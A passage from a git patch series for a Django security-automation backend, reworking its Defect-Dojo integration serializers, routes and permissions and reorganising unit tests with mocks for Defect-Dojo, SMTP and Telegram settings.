get_object_or_404( Project, - id=attrs.get("project_id"), + id=attrs.get("project_id").id, members=self.context.get("request").user.id, ) - return super().validate(attrs) + self._get_client().exists("product_types", attrs.get("product_type")) + return attrs def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: return self._get_client().create_product( validated_data["product_type"], validated_data["name"], validated_data["description"], - [self.client.settings.tag] + (validated_data["project"].tags or []), + [self._get_client().settings.tag] + + list(validated_data["project"].tags.all().values_list("slug", flat=True)), ) -class DefectDojoEngagementSerializer(BaseDefectDojoSerializer): +class DefectDojoEngagementSerializer(Serializer, BaseDefectDojoSerializer): + id = IntegerField(read_only=True) product = IntegerField( required=True, validators=[MinValueValidator(1), MaxValueValidator(999999999)], + write_only=True, ) name = CharField( required=True, allow_blank=False, max_length=100, validators=[Validator(Regex.NAME.value, code="name")], + write_only=True, ) description = CharField( required=True, allow_blank=False, max_length=500, validators=[Validator(Regex.TEXT.value, code="description")], + write_only=True, ) + def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: + attrs = super().validate(attrs) + self._get_client().exists("products", attrs.get("product")) + return attrs + def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: return self._get_client().create_engagement( validated_data["product"], validated_data["name"], validated_data["description"], - [self.client.settings.tag] + (validated_data["project"].tags or []), + [self._get_client().settings.tag], ) diff --git a/src/backend/platforms/defect_dojo/urls.py b/src/backend/platforms/defect_dojo/urls.py index f20487afd..a5ca31bcf 100644 --- a/src/backend/platforms/defect_dojo/urls.py +++ b/src/backend/platforms/defect_dojo/urls.py @@ -13,15 +13,15 @@ router.register("defect-dojo/settings", DefectDojoSettingsViewSet) router.register("defect-dojo/sync", DefectDojoSyncViewSet) router.register( - "defect-dojo/product-type", + "defect-dojo/product-types", DefectDojoProductTypeViewSet, basename="defect-dojo_product-type", ) router.register( - "defect-dojo/product", DefectDojoProductViewSet, basename="defect-dojo_product" + "defect-dojo/products", DefectDojoProductViewSet, basename="defect-dojo_product" ) router.register( - "defect-dojo/engagement", + "defect-dojo/engagements", DefectDojoEngagementViewSet, basename="defect-dojo_engagement", ) diff --git a/src/backend/platforms/defect_dojo/views.py b/src/backend/platforms/defect_dojo/views.py index 48f89bec2..1995a7933 100644 --- a/src/backend/platforms/defect_dojo/views.py +++ b/src/backend/platforms/defect_dojo/views.py @@ -7,6 +7,8 @@ DefectDojoSettingsSerializer, DefectDojoSyncSerializer, ) +from rest_framework.permissions import IsAuthenticated +from security.authorization.permissions import IsAuditor # Create your views here. @@ -32,13 +34,16 @@ class DefectDojoSyncViewSet(BaseViewSet): class DefectDojoProductTypeViewSet(BaseViewSet): serializer_class = DefectDojoProductTypeSerializer http_method_names = ["post"] + permission_classes = [IsAuthenticated, IsAuditor] class DefectDojoProductViewSet(BaseViewSet): serializer_class = DefectDojoProductSerializer http_method_names = ["post"] + permission_classes = [IsAuthenticated, IsAuditor] class DefectDojoEngagementViewSet(BaseViewSet): serializer_class = DefectDojoEngagementSerializer http_method_names = ["post"] + permission_classes = [IsAuthenticated, IsAuditor] diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index d2912e5f0..1c2efa80b 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -56,6 +56,7 @@ def _setup_project(self) -> None: self.project, _ = Project.objects.get_or_create( name="test", description="test", owner=self.admin1 ) + self.project.tags.add("test") for user in [self.admin1, self.auditor1, self.reader1]: self.project.members.add(user) diff --git a/src/backend/tests/platforms/mocks/defect_dojo.py b/src/backend/tests/platforms/mocks/defect_dojo.py new file mode 100644 index 000000000..6f8b7b4ae --- /dev/null +++ b/src/backend/tests/platforms/mocks/defect_dojo.py @@ -0,0 +1,51 @@ +from typing import Any, Dict + + +def return_true(*args: Any) -> bool: + return True + + +def create_product_type(*args: Any) -> Dict[str, Any]: + return {"id": 1, "name": args[1], "description": args[2]} + + +def create_product(*args: Any) -> Dict[str, Any]: + return { + "id": 1, + "prod_type": args[1], + "name": args[2], + "description": args[3], + "tags": args[4], + } + + +def create_engagement(*args: Any) -> Dict[str, Any]: + return { + "id": 1, + "product": args[1], + "name": args[2], + "description": args[3], + "tags": args[4], + } + + +def return_defectdojo_data(field: str, **kwargs: Any) -> Dict[str, Any]: + return {"id": 1, **kwargs.get(field).defect_dojo()} + + +def create_endpoint(**kwargs: Any) -> Dict[str, Any]: + return return_defectdojo_data("endpoint", **kwargs) + + +def create_finding(**kwargs: Any) -> Dict[str, Any]: + return return_defectdojo_data("finding", **kwargs) + + +def import_scan(*args: Any) -> Dict[str, Any]: + return { + "test_id": 1, + "engagement_id": 1, + "product_id": 1, + "product_type_id": 1, + "active": True, + } diff --git a/src/backend/tests/platforms/test_defectdojo.py b/src/backend/tests/platforms/test_defectdojo.py new file mode 100644 index 000000000..b12b86daa --- /dev/null +++ b/src/backend/tests/platforms/test_defectdojo.py @@ -0,0 +1,139 @@ +from unittest import mock + +from tests.cases import ApiTestCase +from tests.framework import ApiTest +from tests.platforms.mocks.defect_dojo import ( + create_engagement, + create_product, + create_product_type, + return_true, +) + +settings = { + "server": None, + "api_token": None, + "tls_validation": True, + "tag": "rekono", + "test_type": "Rekono Findings Import", + "test": "Rekono Execution", +} +new_settings = { + "server": "https://defectdojo.rekono.com", + "api_token": "any_valid_defectdojo_token", + "tls_validation": True, + "tag": "rekono", + "test_type": "Rekono", + "test": "Rekono", +} +invalid_settings = { + "server": "invalid server", + "api_token": "invalid;token", + "tls_validation": True, + "tag": "rek;ono", + "test_type": "Rek;ono", + "test": "Rek;ono", +} + + +class DefectDojoSettingsTest(ApiTest): + endpoint = "/api/defect-dojo/settings/1/" + cases = [ + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), + ApiTestCase(["admin1", "admin2"], "get", 200, expected={"id": 1, **settings}), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], "put", 403, new_settings + ), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_settings), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + new_settings, + expected={ + "id": 1, + **new_settings, + "api_token": "*" * len(new_settings["api_token"]), + "is_available": False, + }, + ), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={ + "id": 1, + **new_settings, + "api_token": "*" * len(new_settings["api_token"]), + "is_available": False, + }, + ), + ] + + +class DefectDojoEntitiesTest(ApiTest): + def setUp(self) -> None: + super().setUp() + self._setup_project() + + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.is_available", return_true + ) + @mock.patch("platforms.defect_dojo.integrations.DefectDojo.exists", return_true) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.create_product_type", + create_product_type, + ) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.create_product", create_product + ) + @mock.patch( + "platforms.defect_dojo.integrations.DefectDojo.create_engagement", + create_engagement, + ) + def test_cases(self) -> None: + base = "/api/defect-dojo/" + valid = {"name": "test", "description": "test"} + invalid = {"name": "te;st", "description": "te;st"} + for endpoint, valid, invalid in [ + (f"{base}product-types/", valid, invalid), + ( + f"{base}products/", + {"product_type": 1, "project_id": 1, **valid}, + {"product_type": 9999999999, "project_id": 1, **invalid}, + ), + (f"{base}engagements/", {"product": 1, **valid}, {"product": 1, **invalid}), + ]: + self.cases.extend( + [ + ApiTestCase( + ["reader1", "reader2"], "post", 403, valid, endpoint=endpoint + ), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 400, + invalid, + endpoint=endpoint, + ), + ] + ) + self.cases.extend( + [ + ApiTestCase( + ["admin1", "auditor1"], "post", 201, valid, {"id": 1}, endpoint + ), + ApiTestCase([], "post", 404, valid, endpoint), + ] + if "project_id" in valid + else [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2"], + "post", + 201, + valid, + {"id": 1}, + endpoint, + ) + ] + ) + return super().test_cases() diff --git a/src/backend/tests/platforms/test_defectdojo_settings.py b/src/backend/tests/platforms/test_defectdojo_settings.py deleted file mode 100644 index f27816f73..000000000 --- a/src/backend/tests/platforms/test_defectdojo_settings.py +++ /dev/null @@ -1,63 +0,0 @@ -from platforms.defect_dojo.models import DefectDojoSettings -from tests.cases import ApiTestCase -from tests.framework import ApiTest - -settings = { - "server": None, - "api_token": None, - "tls_validation": True, - "tag": "rekono", - "test_type": "Rekono Findings Import", - "test": "Rekono Execution", -} -new_settings = { - "server": "https://defectdojo.rekono.com", - "api_token": "any_valid_defectdojo_token", - "tls_validation": True, - "tag": "rekono", - "test_type": "Rekono", - "test": "Rekono", -} -invalid_settings = { - "server": "invalid server", - "api_token": "invalid;token", - "tls_validation": True, - "tag": "rek;ono", - "test_type": "Rek;ono", - "test": "Rek;ono", -} - - -class DefectDojoSettingsTest(ApiTest): - endpoint = "/api/defect-dojo/settings/1/" - cases = [ - ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), - ApiTestCase(["admin1", "admin2"], "get", 200, expected={"id": 1, **settings}), - ApiTestCase( - ["auditor1", "auditor2", "reader1", "reader2"], "put", 403, new_settings - ), - ApiTestCase(["admin1", "admin2"], "put", 400, invalid_settings), - ApiTestCase( - ["admin1", "admin2"], - "put", - 200, - new_settings, - expected={ - "id": 1, - **new_settings, - "api_token": "*" * len(new_settings["api_token"]), - "is_available": False, - }, - ), - ApiTestCase( - ["admin1", "admin2"], - "get", - 200, - expected={ - "id": 1, - **new_settings, - "api_token": "*" * len(new_settings["api_token"]), - "is_available": False, - }, - ), - ] diff --git a/src/backend/tests/platforms/test_smtp_settings.py b/src/backend/tests/platforms/test_smtp.py similarity index 100% rename from src/backend/tests/platforms/test_smtp_settings.py rename to src/backend/tests/platforms/test_smtp.py diff --git a/src/backend/tests/platforms/test_telegram_chats.py b/src/backend/tests/platforms/test_telegram.py similarity index 78% rename from src/backend/tests/platforms/test_telegram_chats.py rename to src/backend/tests/platforms/test_telegram.py index 05245bae8..30478f33b 100644 --- a/src/backend/tests/platforms/test_telegram_chats.py +++ b/src/backend/tests/platforms/test_telegram.py @@ -5,6 +5,31 @@ from tests.framework import ApiTest from users.models import User +token = {"token": "any_valid_telegram_token"} +invalid_token = {"token": "invalid;token"} +expected = {"id": 1, "bot": None, "is_available": False} + + +class TelegramSettingsTest(ApiTest): + endpoint = "/api/telegram/settings/1/" + cases = [ + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=expected, + ), + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "put", 403, token), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_token), + ApiTestCase(["admin1", "admin2"], "put", 200, token, expected), + ApiTestCase( + ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], + "get", + 200, + expected=expected, + ), + ] + class TelegramChatTest(ApiTest): endpoint = "/api/telegram/link/" diff --git a/src/backend/tests/platforms/test_telegram_settings.py b/src/backend/tests/platforms/test_telegram_settings.py deleted file mode 100644 index 2f002f4b5..000000000 --- a/src/backend/tests/platforms/test_telegram_settings.py +++ /dev/null @@ -1,27 +0,0 @@ -from tests.cases import ApiTestCase -from tests.framework import ApiTest - -token = {"token": "any_valid_telegram_token"} -invalid_token = {"token": "invalid;token"} -expected = {"id": 1, "bot": None, "is_available": False} - - -class TelegramSettingsTest(ApiTest): - endpoint = "/api/telegram/settings/1/" - cases = [ - ApiTestCase( - ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], - "get", - 200, - expected=expected, - ), - ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "put", 403, token), - ApiTestCase(["admin1", "admin2"], "put", 400, invalid_token), - ApiTestCase(["admin1", "admin2"], "put", 200, token, expected), - ApiTestCase( - ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], - "get", - 200, - expected=expected, - ), - ] From aac0c7f914ba9f317d7637d6f09e557092fdd7d7 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 5 Dec 2023 17:36:34 +0100 Subject: [PATCH 047/141] Prevent errors in unit tests --- src/backend/tests/cases.py | 2 +- src/backend/tests/platforms/test_smtp.py | 30 +++++++++++------------- 2 files changed, 15 insertions(+), 17 deletions(-) diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index eb95a17bf..0384673a5 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -61,7 +61,7 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: access, _ = self._login(**credentials) api_client = APIClient(HTTP_AUTHORIZATION=f"Bearer {access}") response = getattr(api_client, self.method.lower())( - self.endpoint.format(endpoint=kwargs["endpoint"]), + self.endpoint.format(endpoint=kwargs.get("endpoint", "")), data=self.data or None, format=self.format, ) diff --git a/src/backend/tests/platforms/test_smtp.py b/src/backend/tests/platforms/test_smtp.py index fb8efd0c4..dac97ec99 100644 --- a/src/backend/tests/platforms/test_smtp.py +++ b/src/backend/tests/platforms/test_smtp.py @@ -4,14 +4,14 @@ from tests.cases import ApiTestCase from tests.framework import ApiTest -settings = { +config = { "host": "smtp.rekono.com", "port": 587, "username": "rekono", "password": "rekono", "tls": True, } -invalid_settings = { +invalid_config = { "host": "smtp;rekono.com", "port": 999999, "username": "reko;no", @@ -22,7 +22,7 @@ class SmtpSettingsTest(ApiTest): endpoint = "/api/smtp/1/" - expected_str = f"{settings['host']}:{settings['port']}" + expected_str = f"{config['host']}:{config['port']}" cases = [ ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), ApiTestCase( @@ -39,19 +39,17 @@ class SmtpSettingsTest(ApiTest): "is_available": False, }, ), - ApiTestCase( - ["auditor1", "auditor2", "reader1", "reader2"], "put", 403, settings - ), - ApiTestCase(["admin1", "admin2"], "put", 400, invalid_settings), + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "put", 403, config), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_config), ApiTestCase( ["admin1", "admin2"], "put", 200, - settings, + config, expected={ "id": 1, - **settings, - "password": "*" * len(settings["password"]), + **config, + "password": "*" * len(config["password"]), "is_available": False, }, ), @@ -61,8 +59,8 @@ class SmtpSettingsTest(ApiTest): 200, expected={ "id": 1, - **settings, - "password": "*" * len(settings["password"]), + **config, + "password": "*" * len(config["password"]), "is_available": False, }, ), @@ -70,9 +68,9 @@ class SmtpSettingsTest(ApiTest): def _get_object(self) -> Any: settings = SMTPSettings.objects.get(pk=1) - settings["secret"] = settings.pop("password") - for field, value in settings.items(): + config["secret"] = config.pop("password") + for field, value in config.items(): setattr(settings, field, value) - settings["_password"] = settings.pop("secret") - settings.save(update_fields=settings.keys()) + config["_password"] = config.pop("secret") + settings.save(update_fields=config.keys()) return settings From 48e17a3c44839ce3e124af0a8a2dff5cfbd32c0e Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Tue, 5 Dec 2023 17:46:38 +0100 Subject: [PATCH 048/141] Fix some errors in unit tests --- src/backend/platforms/defect_dojo/integrations.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/backend/platforms/defect_dojo/integrations.py b/src/backend/platforms/defect_dojo/integrations.py index b05af6938..d1d57f29a 100644 --- a/src/backend/platforms/defect_dojo/integrations.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -35,7 +35,7 @@ def _request( method, f"{self.settings.server}/api/v2{url}", json, - { + **{ **kwargs, "headers": { "User-Agent": "Rekono", From 3c0852a0e0252fbc202ac4d6448eea2d792922fc Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 6 Dec 2023 10:59:17 +0100 Subject: [PATCH 049/141] Check Defect-Dojo availability without retries when connection fails --- src/backend/framework/platforms.py | 2 +- .../platforms/defect_dojo/integrations.py | 3 ++- .../platforms/defect_dojo/serializers.py | 25 ++++++++----------- ...test_defectdojo.py => test_defect_dojo.py} | 21 +++++++++++++--- 4 files changed, 30 insertions(+), 21 deletions(-) rename src/backend/tests/platforms/{test_defectdojo.py => test_defect_dojo.py} (87%) diff --git a/src/backend/framework/platforms.py b/src/backend/framework/platforms.py index e21b6c308..eb07d216f 100644 --- a/src/backend/framework/platforms.py +++ b/src/backend/framework/platforms.py @@ -31,7 +31,7 @@ def _create_session(self, url: str) -> requests.Session: retries = Retry( total=10, backoff_factor=1, - status_forcelist=[403, 500, 502, 503, 504, 599], + status_forcelist=[403, 429, 500, 502, 503, 504, 599], ) session.mount(f"{urlparse(url).scheme}://", HTTPAdapter(max_retries=retries)) return session diff --git a/src/backend/platforms/defect_dojo/integrations.py b/src/backend/platforms/defect_dojo/integrations.py index d1d57f29a..dc79681a8 100644 --- a/src/backend/platforms/defect_dojo/integrations.py +++ b/src/backend/platforms/defect_dojo/integrations.py @@ -2,6 +2,7 @@ from pathlib import Path as PathFile from typing import Any, Dict, List +import requests from django.utils import timezone from executions.models import Execution from findings.enums import Severity @@ -54,7 +55,7 @@ def is_available(self) -> bool: self.settings.server = self.settings.server[:-1] self.settings.save(update_fields=["server"]) try: - self._request(self.session.get, "/test_types/") + self._request(requests.get, "/test_types/", timeout=5) return True except: return False diff --git a/src/backend/platforms/defect_dojo/serializers.py b/src/backend/platforms/defect_dojo/serializers.py index b60af2177..08727fff3 100644 --- a/src/backend/platforms/defect_dojo/serializers.py +++ b/src/backend/platforms/defect_dojo/serializers.py @@ -62,10 +62,15 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: "Defect-Dojo integration hasn't been configured properly", code="defect-dojo", ) - return super().validate(attrs) + attrs = super().validate(attrs) + for entity in ["product_type", "product", "engagement"]: + value = attrs.get(f"{entity}_id") or attrs.get(entity) + if value: + self._get_client().exists(f"{entity}s", value) + return attrs -class DefectDojoSyncSerializer(ModelSerializer, BaseDefectDojoSerializer): +class DefectDojoSyncSerializer(BaseDefectDojoSerializer, ModelSerializer): class Meta: model = DefectDojoSync fields = ( @@ -83,10 +88,6 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: raise ValidationError( "Engagement or engagement_per_target is required", code="engagement_id" ) - for entity in ["product_type", "product", "engagement"]: - id = attrs.get(f"{entity}_id") - if id: - self._get_client().exists(f"{entity}s", id) return attrs @@ -101,7 +102,7 @@ class Meta: ) -class DefectDojoProductTypeSerializer(Serializer, BaseDefectDojoSerializer): +class DefectDojoProductTypeSerializer(BaseDefectDojoSerializer, Serializer): id = IntegerField(read_only=True) name = CharField( required=True, @@ -124,7 +125,7 @@ def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: ) -class DefectDojoProductSerializer(Serializer, BaseDefectDojoSerializer): +class DefectDojoProductSerializer(BaseDefectDojoSerializer, Serializer): id = IntegerField(read_only=True) product_type = IntegerField( required=True, @@ -159,7 +160,6 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: id=attrs.get("project_id").id, members=self.context.get("request").user.id, ) - self._get_client().exists("product_types", attrs.get("product_type")) return attrs def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: @@ -172,7 +172,7 @@ def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: ) -class DefectDojoEngagementSerializer(Serializer, BaseDefectDojoSerializer): +class DefectDojoEngagementSerializer(BaseDefectDojoSerializer, Serializer): id = IntegerField(read_only=True) product = IntegerField( required=True, @@ -194,11 +194,6 @@ class DefectDojoEngagementSerializer(Serializer, BaseDefectDojoSerializer): write_only=True, ) - def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: - attrs = super().validate(attrs) - self._get_client().exists("products", attrs.get("product")) - return attrs - def create(self, validated_data: Dict[str, Any]) -> Dict[str, Any]: return self._get_client().create_engagement( validated_data["product"], diff --git a/src/backend/tests/platforms/test_defectdojo.py b/src/backend/tests/platforms/test_defect_dojo.py similarity index 87% rename from src/backend/tests/platforms/test_defectdojo.py rename to src/backend/tests/platforms/test_defect_dojo.py index b12b86daa..06b419c72 100644 --- a/src/backend/tests/platforms/test_defectdojo.py +++ b/src/backend/tests/platforms/test_defect_dojo.py @@ -71,6 +71,8 @@ class DefectDojoSettingsTest(ApiTest): class DefectDojoEntitiesTest(ApiTest): + endpoint = "/api/defect-dojo/" + def setUp(self) -> None: super().setUp() self._setup_project() @@ -91,17 +93,21 @@ def setUp(self) -> None: create_engagement, ) def test_cases(self) -> None: - base = "/api/defect-dojo/" + input("DD TEST CASES") valid = {"name": "test", "description": "test"} invalid = {"name": "te;st", "description": "te;st"} for endpoint, valid, invalid in [ - (f"{base}product-types/", valid, invalid), + (f"{self.endpoint}product-types/", valid, invalid), ( - f"{base}products/", + f"{self.endpoint}products/", {"product_type": 1, "project_id": 1, **valid}, {"product_type": 9999999999, "project_id": 1, **invalid}, ), - (f"{base}engagements/", {"product": 1, **valid}, {"product": 1, **invalid}), + ( + f"{self.endpoint}engagements/", + {"product": 1, **valid}, + {"product": 1, **invalid}, + ), ]: self.cases.extend( [ @@ -137,3 +143,10 @@ def test_cases(self) -> None: ] ) return super().test_cases() + + def test_anonymous_access(self) -> None: + base = self.endpoint + for endpoint in ["product-types", "products", "engagements"]: + self.endpoint = f"{base}{endpoint}/" + super().test_anonymous_access() + self.endpoint = base From d06d51b298b0dd7e18ebcebef00d34175aa6cd88 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 6 Dec 2023 11:10:29 +0100 Subject: [PATCH 050/141] Remove debug input --- src/backend/tests/platforms/test_defect_dojo.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/backend/tests/platforms/test_defect_dojo.py b/src/backend/tests/platforms/test_defect_dojo.py index 06b419c72..e34bb1f82 100644 --- a/src/backend/tests/platforms/test_defect_dojo.py +++ b/src/backend/tests/platforms/test_defect_dojo.py @@ -93,7 +93,6 @@ def setUp(self) -> None: create_engagement, ) def test_cases(self) -> None: - input("DD TEST CASES") valid = {"name": "test", "description": "test"} invalid = {"name": "te;st", "description": "te;st"} for endpoint, valid, invalid in [ @@ -142,7 +141,7 @@ def test_cases(self) -> None: ) ] ) - return super().test_cases() + super().test_cases() def test_anonymous_access(self) -> None: base = self.endpoint From 241a084d02b21e363476df0a73d0cf32440a4635 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 6 Dec 2023 11:25:41 +0100 Subject: [PATCH 051/141] Prevent errors introduced by the framework --- src/backend/tests/framework.py | 6 ++++-- src/backend/tests/platforms/test_defect_dojo.py | 2 ++ 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 1c2efa80b..942c2b4e2 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -101,8 +101,10 @@ def _metadata(self) -> Dict[str, Any]: return {} def test_cases(self) -> None: - for test_case in self.cases: - test_case.test_case(**self._metadata()) + metadata = self._metadata() + if self.cases and metadata: + for test_case in self.cases: + test_case.test_case(**metadata) class ApiTest(RekonoTest): diff --git a/src/backend/tests/platforms/test_defect_dojo.py b/src/backend/tests/platforms/test_defect_dojo.py index e34bb1f82..84eb3eed8 100644 --- a/src/backend/tests/platforms/test_defect_dojo.py +++ b/src/backend/tests/platforms/test_defect_dojo.py @@ -72,6 +72,7 @@ class DefectDojoSettingsTest(ApiTest): class DefectDojoEntitiesTest(ApiTest): endpoint = "/api/defect-dojo/" + cases = [] def setUp(self) -> None: super().setUp() @@ -142,6 +143,7 @@ def test_cases(self) -> None: ] ) super().test_cases() + self.cases = [] def test_anonymous_access(self) -> None: base = self.endpoint From 9480c200b22f6ab5f5bbe5aca5babcc6dbaca5d9 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 6 Dec 2023 11:51:16 +0100 Subject: [PATCH 052/141] Split Telegram and Defect-Dojo tests in different files --- .../tests/platforms/defect_dojo/__init__.py | 0 .../test_entities.py} | 60 ------------------ .../platforms/defect_dojo/test_settings.py | 62 +++++++++++++++++++ .../tests/platforms/telegram/__init__.py | 0 .../test_chats.py} | 25 -------- .../tests/platforms/telegram/test_settings.py | 27 ++++++++ 6 files changed, 89 insertions(+), 85 deletions(-) create mode 100644 src/backend/tests/platforms/defect_dojo/__init__.py rename src/backend/tests/platforms/{test_defect_dojo.py => defect_dojo/test_entities.py} (64%) create mode 100644 src/backend/tests/platforms/defect_dojo/test_settings.py create mode 100644 src/backend/tests/platforms/telegram/__init__.py rename src/backend/tests/platforms/{test_telegram.py => telegram/test_chats.py} (78%) create mode 100644 src/backend/tests/platforms/telegram/test_settings.py diff --git a/src/backend/tests/platforms/defect_dojo/__init__.py b/src/backend/tests/platforms/defect_dojo/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/tests/platforms/test_defect_dojo.py b/src/backend/tests/platforms/defect_dojo/test_entities.py similarity index 64% rename from src/backend/tests/platforms/test_defect_dojo.py rename to src/backend/tests/platforms/defect_dojo/test_entities.py index 84eb3eed8..2c6281f8b 100644 --- a/src/backend/tests/platforms/test_defect_dojo.py +++ b/src/backend/tests/platforms/defect_dojo/test_entities.py @@ -9,66 +9,6 @@ return_true, ) -settings = { - "server": None, - "api_token": None, - "tls_validation": True, - "tag": "rekono", - "test_type": "Rekono Findings Import", - "test": "Rekono Execution", -} -new_settings = { - "server": "https://defectdojo.rekono.com", - "api_token": "any_valid_defectdojo_token", - "tls_validation": True, - "tag": "rekono", - "test_type": "Rekono", - "test": "Rekono", -} -invalid_settings = { - "server": "invalid server", - "api_token": "invalid;token", - "tls_validation": True, - "tag": "rek;ono", - "test_type": "Rek;ono", - "test": "Rek;ono", -} - - -class DefectDojoSettingsTest(ApiTest): - endpoint = "/api/defect-dojo/settings/1/" - cases = [ - ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), - ApiTestCase(["admin1", "admin2"], "get", 200, expected={"id": 1, **settings}), - ApiTestCase( - ["auditor1", "auditor2", "reader1", "reader2"], "put", 403, new_settings - ), - ApiTestCase(["admin1", "admin2"], "put", 400, invalid_settings), - ApiTestCase( - ["admin1", "admin2"], - "put", - 200, - new_settings, - expected={ - "id": 1, - **new_settings, - "api_token": "*" * len(new_settings["api_token"]), - "is_available": False, - }, - ), - ApiTestCase( - ["admin1", "admin2"], - "get", - 200, - expected={ - "id": 1, - **new_settings, - "api_token": "*" * len(new_settings["api_token"]), - "is_available": False, - }, - ), - ] - class DefectDojoEntitiesTest(ApiTest): endpoint = "/api/defect-dojo/" diff --git a/src/backend/tests/platforms/defect_dojo/test_settings.py b/src/backend/tests/platforms/defect_dojo/test_settings.py new file mode 100644 index 000000000..bbc7e19b4 --- /dev/null +++ b/src/backend/tests/platforms/defect_dojo/test_settings.py @@ -0,0 +1,62 @@ +from tests.cases import ApiTestCase +from tests.framework import ApiTest + +settings = { + "server": None, + "api_token": None, + "tls_validation": True, + "tag": "rekono", + "test_type": "Rekono Findings Import", + "test": "Rekono Execution", +} +new_settings = { + "server": "https://defectdojo.rekono.com", + "api_token": "any_valid_defectdojo_token", + "tls_validation": True, + "tag": "rekono", + "test_type": "Rekono", + "test": "Rekono", +} +invalid_settings = { + "server": "invalid server", + "api_token": "invalid;token", + "tls_validation": True, + "tag": "rek;ono", + "test_type": "Rek;ono", + "test": "Rek;ono", +} + + +class DefectDojoSettingsTest(ApiTest): + endpoint = "/api/defect-dojo/settings/1/" + cases = [ + ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "get", 403), + ApiTestCase(["admin1", "admin2"], "get", 200, expected={"id": 1, **settings}), + ApiTestCase( + ["auditor1", "auditor2", "reader1", "reader2"], "put", 403, new_settings + ), + ApiTestCase(["admin1", "admin2"], "put", 400, invalid_settings), + ApiTestCase( + ["admin1", "admin2"], + "put", + 200, + new_settings, + expected={ + "id": 1, + **new_settings, + "api_token": "*" * len(new_settings["api_token"]), + "is_available": False, + }, + ), + ApiTestCase( + ["admin1", "admin2"], + "get", + 200, + expected={ + "id": 1, + **new_settings, + "api_token": "*" * len(new_settings["api_token"]), + "is_available": False, + }, + ), + ] diff --git a/src/backend/tests/platforms/telegram/__init__.py b/src/backend/tests/platforms/telegram/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/tests/platforms/test_telegram.py b/src/backend/tests/platforms/telegram/test_chats.py similarity index 78% rename from src/backend/tests/platforms/test_telegram.py rename to src/backend/tests/platforms/telegram/test_chats.py index 30478f33b..05245bae8 100644 --- a/src/backend/tests/platforms/test_telegram.py +++ b/src/backend/tests/platforms/telegram/test_chats.py @@ -5,31 +5,6 @@ from tests.framework import ApiTest from users.models import User -token = {"token": "any_valid_telegram_token"} -invalid_token = {"token": "invalid;token"} -expected = {"id": 1, "bot": None, "is_available": False} - - -class TelegramSettingsTest(ApiTest): - endpoint = "/api/telegram/settings/1/" - cases = [ - ApiTestCase( - ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], - "get", - 200, - expected=expected, - ), - ApiTestCase(["auditor1", "auditor2", "reader1", "reader2"], "put", 403, token), - ApiTestCase(["admin1", "admin2"], "put", 400, invalid_token), - ApiTestCase(["admin1", "admin2"], "put", 200, token, expected), - ApiTestCase( - ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], - "get", - 200, - expected=expected, - ), - ] - class TelegramChatTest(ApiTest): endpoint = "/api/telegram/link/" diff --git a/src/backend/tests/platforms/telegram/test_settings.py b/src/backend/tests/platforms/telegram/test_settings.py new file mode 100644 index 000000000..2f002f4b5 --- /dev/null +++ b/src/backend/tests/platforms/telegram/test_settings.py @@ -0,0 +1,27 @@ +from tests.cases import ApiTestCase +from tests.framework import ApiTest + +token = {"token": "any_valid_telegram_token"} +invalid_token = {"token": "invalid;token"} +expected = {"id": 1, "bot": None, "is_available": False} + + +class TelegramSettingsTest(ApiTest): + endpoint = "/api/telegram/settings/1/" + cases = [ + ApiTestCase( + 